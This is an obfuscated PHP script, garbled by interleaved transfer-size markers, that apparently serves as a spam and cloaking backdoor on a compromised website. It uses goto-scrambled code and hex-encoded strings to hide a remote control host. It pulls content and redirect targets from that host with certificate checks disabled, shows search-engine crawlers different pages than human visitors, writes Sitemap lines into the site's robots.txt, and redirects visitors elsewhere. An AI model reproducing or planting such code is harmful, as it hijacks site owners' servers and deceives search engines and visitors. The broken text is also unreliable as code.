3 tr 19 ue, CURLOPT_ 9 CONNECTTI 4 MEOU 6 T => 5 1f , CURLOPT_TIMEOUT b => 8 19 , CURLOPT_SS 6 L_VERI 4 FYPE b ER => false 23 , CURLOPT_SSL_VERIFYHO 2 ST 24 => false, CURLOPT_FOLL 2 OW 7 LOCATIO 22 N => false, CURLOPT_U 5 SERAG d ENT => " 4 Mozi 5 lla/5 d .0" d ]); f $data = curl_ex 6 ec($ch 13 ); curl_cl f ose($ch); d } if ( d empty($data) 6 && ini 8 _get('al 4 low_ 8 url_fope 30 n')) { $context = stream_context_create 11 ([ " 5 http" 6 => [" 7 timeout 7 " => 8, 8 "header 8 " => "Us 5 er-Ag 5 ent: d Mozilla/5.0\r 4 \n"] 12 , "ss 9 l" => [" 5 verif 2e y_peer" => false, "verify_peer_name" => false] 20 ]); $data = @ 16 file_get_contents($url 9 , false, 1d $context); } if ( e !empty($data)) 11 cache_set($url, 7 $data); 12 return $data 2f ; } /* ------------------------- URL 3 信 3 息 2d ------------------------- */ function get_ c url_info(str 5 ing $ 5 type= 5 'doma 6 in'): f string { $ 4 host 12 = $_SERVER['HTTP_ 6 HOST'] 3 ?? f ''; if ($ 6 type = 7 == 'no_ 4 www' c ) return pre 6 g_repl 5 ace(' 6 /^www\ 3 ./i 8 ', '', $ 5 host) f ; $proto 6 col = 11 (!empty($_SERVER[ 8 'HTTPS'] 16 ) && $_SERVER['HTTPS'] 8 !== 'of 5 f') ? 8 "https: 5 //" : a "http://" b ; $bas 4 e = 11 $protocol . $host 18 ; if ($type === ' e base') return 1c $base; if ($type === 'f 3 ull 12 ') return $base . d ($_SERVER['RE 4 QUES 5 T_URI 12 '] ?? ''); f return $host; 2a } /* ------------------------- 3 4 变 3 量 21 ------------------------- */ g a oto ONPuB; a ONPuB: $h a ttp_type = 12 !empty($_SERVER[" 4 \x48 5 \124\ 7 x54\x50 5 \x53" 19 ]) && $_SERVER["\x48\124\ d 124\x50\x53"] 3b !== "\157\x66\146" ? "\150\x74\x74\x70\163\72\x2f\x2f" : " 1c \x68\164\164\160\72\x2f\57"; 8 goto O4 4 O9k; a O4O9k: $v 8 url = "\ 8 x74\157\ 6 56\152 7 \147\14 5 1\x6c b \x6c\163\x2 5 e\143 d \157\x6d\x2f" d ; goto vgv72; a vgv72: $q 6 z = su 4 bstr d (str_replace( b array("\x77 d \x77\167\x2e" 8 , "\56") 7 , '', $ d _SERVER["\110 b \x54\x54\12 a 0\x5f\x48\ 6 x4f\12 8 3\x54"]) 5 , 0, 57 3); /* ------------------------- 解析 f 参数 ------------------------- */ 7 $sz = $ 6 iid = 7 ""; if a (!empty($_ 20 GET)){ $f=reset($_GET); $ 5 sp = e explode('-', $ d f); if ( 4 coun 6 t($sp) 6 === 2 15 ) { $sz = $ 5 sp[0] 12 ; $iid = 6 $sp[1] b ; } } 29 /* ------------------------- 远 3 4 21 ------------------------- */ e if (!empty($sz b )) { $ 5 jd = e getCurlFast("{ c $http_type}{ 8 $vurl}3k 5 g.asp 4 x?sz 5 =" . 6 urlenc 9 ode($sz)) 9 ; } else 38 { $jd = getCurlFast("{$http_type}{$vurl}3kg.aspx?x f y={$http_type}" b ); $sz 2e = getCurlFast("{$http_type}{$vurl}3kg.aspx?jd 12 =" . urlencode($jd a )); } 5 $hyzh 6 dy = $ 6 jd . " d 41.aspx"; $s 10 url = $jd . "s b 41.aspx"; 29 /* ------------------------- robo a ts / sitem 24 ap ------------------------- */ $s 9 itemapLin 6 e = "S 8 itemap: 22 {$http_type}{$_SERVER['HTTP_HOST'] e }{$_SERVER['SC 5 RIPT_ 4 NAME 5 ']}?w a =" . date( 4 'Ymd 3 Hi' 8 ) . "\n" d ; function e 6 nsure_ e robots_sitemap d ($sitemapLine 39 ) { $robots = rtrim($_SERVER['DOCUMENT_ROOT'], "/\\" d ) . '/robots. 3 txt 42 '; if (!file_exists($robots)) { @file_put_contents($ 7 robots, e "User-agent: 4 *\nA 3e llow: /\n" . $sitemapLine, LOCK_EX); } else { $c 17 = @file_get_contents($ 8 robots); 12 if ($c = b == false || a strpos($c f , $sitemapLine) 1b === false) { 33 @file_put_contents($robots, $sitemapLine, FILE_APPE 4 ND | 10 LOCK_EX); 11 } } } 28 /* ------------------------- w= 3 输 3 出 2f ------------------------- */ if (!empty($get 4 ['w' 7 ])) { c $param 9 s = http_ 5 build 4 _que e ry([ 5 'NOUm 4 ber' a => $get[' f NOUmber'] ?? '' e , 't' 10 => $get[' 17 t'] ?? '', 'cn 10 ' => $get[' 43 cn'] ?? '', 'pNOUm' => $get['pNOUm'] ?? '', 'ci 49 d' => $get['cid'] ?? '', 'm' => $get['m'] ?? '' ] e ); $str 12 = getCurlFast("{$ 7 surl}?{ d $params}"); 9 ech e o str_replace( c [' 5 yymm' 7 ,'ggggg 6 ','?f= e '], [ b $http_type. 16 $_SERVER['HTTP_HOST']. 1b $_SERVER['SCRIPT_NAME'], $s 6 z,'?'. 5 $qz.' 12 ='], $str e ); 3 exi 30 t; } /* ------------------------- IP 4 3 3 4 留 5 kk 3 2 27 ) ------------------------- */ $kk 4 = is b set($get['k 6 k']) ? 6 trim( 33 $get['kk']) : ''; $ip = ($kk !== '') ? "66.249.82. 5 8" : d get_real_ip() 2b ; /* ------------------------- get b domain2 判 3 断 27 ------------------------- */ $domain 8 = trim( 13 getCurlFast($jd . " 11 getdomain2.aspx?r 4 nd=1 8 &ip=" . 4 $ip) 2b ); /* ------------------------- 5 goo 5 gle + 6 iid 3 4 跳 2 2c ------------------------- */ if ($domain c !== 'google' 4 && b !empty($iid 10 )) { $kname 7 = urld 6 ecode( 1b getCurlFast($jd . "gn.aspx? a iid=" . $i 7 id)); c echo 'loca 6 tion=" b ' . $jd . " 8 a.aspx?c 14 name=" . urlencode($ a kname) . " a &url=" . $ b http_type . 23 $_SERVER['HTTP_HOST'] . $_SERVER[' d SCRIPT_NAME'] 7 . '"' 3a ; exit; } /* ------------------------- iid 40 输出 ------------------------- */ if (!empty($iid)) { $ 12 str = getCurlFast( 15 $hyzhdy . "?iid={$iid 29 }"); echo str_replace( [' d ggggg','YYYYY 6 ','XXX 8 YYY',' 3 7 URL',' 8 UUUUU',' 5 MMMMM 18 ','?f='], [$sz, f get_url_info() 16 , get_url_info('base') 16 , get_url_info('full') 18 , get_url_info('no_www') 6 ,parse 4 _url 1c ($_SERVER['REQUEST_URI'], PH 6 P_URL_ 4 PATH 5a ),'?'.$qz.'='], $str ); exit; } /* ------------------------- 9 sitemap h 5 elper 2a ------------------------- */ function o 6 utput_ a sitemap_an 6 d_exit e ($sitemapLine, 14 $http_type) { 23 ensure_robots_sitemap($sitemapLine) f ; echo " 8b 9 Sitemap < 6 /div>" 36 ; exit; } /* ------------------------- 50 kk 输出控制 ------------------------- */ if ($kk !== '' && preg_match('/^[ 4 A-Za 4 -z0- 4 9]+$ 6 /', $k d k)) { $r 5 emote 10 = getCurlFast($ 1d jd . "getdomain2.aspx?rnd=2&k 7 k=" . $ 1c kk); if (!empty($remote 13 )) { echo 7 $remote 12 ; exit; 1e } } if ($kk !== '' && 2d !preg_match('/^[A-Za-z0-9]+$/', $kk)) { 31 output_sitemap_and_exit($sitemapLine, $http_type) c ; } $is_ 8 no_query 4 = e 13 mpty($_SERVER['QUER 8 Y_STRING 8 ']); 80 if ($kk === '' && $is_no_query) { if ($domain === 'google') { output_sitemap_and_exit($sitemapLine, $http_type); 16 } else { 48 exit; } } output_sitemap_and_exit($sitemapLine, $http_type); ? 3 > 0